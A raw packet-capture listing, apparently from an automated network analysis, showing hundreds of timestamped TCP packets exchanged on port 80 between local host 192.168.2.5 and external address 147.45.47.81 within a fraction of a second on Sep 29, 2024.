Sep 29, 2024 09:44:15.021586895 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021608114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021641970 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021652937 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021673918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021723986 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021724939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021759987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021792889 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021802902 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021826982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021859884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021873951 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021892071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021908045 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021939993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021955967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021972895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022016048 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022023916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022056103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022089005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022102118 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022123098 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022172928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022175074 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022206068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022239923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022248983 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022273064 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022306919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022319078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022340059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022372961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022381067 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022404909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022439003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022452116 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022471905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022507906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022516012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022540092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022572994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022589922 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022605896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022639036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022648096 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022672892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022708893 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022717953 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022739887 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022773981 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022783041 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022805929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022840023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022845030 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022871971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022905111 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022919893 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.022938013 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022974014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.022984982 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023005962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023041964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023050070 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023075104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023106098 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023121119 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023134947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023168087 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023179054 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023179054 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023200989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023232937 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023248911 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023266077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023298979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023309946 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023332119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023364067 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023376942 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023416996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023447990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023466110 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023479939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023513079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023530960 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023545027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023581028 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023592949 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023614883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023647070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023658037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023680925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023715019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023729086 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023747921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023778915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023788929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023813963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023844957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023854017 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.023878098 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.023926973 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.094096899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.094201088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.094238043 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.094263077 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.094271898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.094306946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.094319105 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.094341040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.094378948 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.094388962 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.106827021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.106880903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.106887102 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.106914997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.106947899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.106969118 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.106981039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107023001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.107031107 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107064962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107095957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107106924 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.107129097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107177019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.107180119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107213020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107240915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107263088 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.107274055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107316971 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.107321978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107355118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107409000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.107775927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107831001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107876062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.107881069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107911110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107944012 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.107959986 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.107973099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108012915 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108021975 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108071089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108103991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108120918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108134985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108164072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108179092 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108194113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108227015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108239889 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108278036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108309984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108325005 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108342886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108376026 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108392000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108424902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108458042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108473063 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108489990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108521938 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108535051 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108578920 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108612061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108625889 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108644009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108676910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108690977 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108709097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108750105 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108757019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108803988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108838081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108855963 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108869076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108901024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108915091 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108932972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108966112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.108978033 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.108994007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109025002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109040022 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109075069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109110117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109118938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109158039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109190941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109208107 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109224081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109256983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109272003 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109292030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109319925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109333992 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109352112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109385014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109400034 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109416962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109450102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109462976 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109482050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109513044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109528065 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109544992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109577894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109586954 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109610081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109642029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109658003 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109673977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109709024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109714985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109741926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109774113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109787941 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109806061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109838009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109853029 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109869957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109901905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109924078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109931946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109965086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.109977007 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.109997988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110033035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110040903 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110061884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110093117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110105038 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110126972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110158920 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110181093 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110189915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110223055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110238075 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110255957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110287905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110297918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110322952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110352993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110368967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110389948 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110421896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110424042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110464096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110495090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110510111 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110528946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110559940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110574961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110591888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110622883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110635042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110656977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110691071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110707998 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110723972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110755920 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110764980 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110788107 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110819101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110835075 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110850096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110884905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110893965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110915899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110946894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.110958099 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.110980988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111015081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111030102 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.111047983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111079931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111109018 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.111112118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111144066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111159086 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.111176968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111208916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111219883 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.111241102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111269951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.111289024 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.160918951 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.180744886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.180865049 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.180896997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.180923939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.180931091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.180965900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.180978060 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.180999041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.181035042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.181041956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.181070089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.181119919 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.193792105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.193842888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.193893909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.193896055 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.193944931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.193979979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.193994045 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194014072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194060087 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194065094 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194098949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194130898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194140911 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194164038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194211960 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194221020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194269896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194318056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194333076 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194371939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194420099 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194438934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194489002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194525003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194530964 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194576025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194610119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194629908 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194643974 CEST	80	49706	147.45.47.81	192.168.2.5
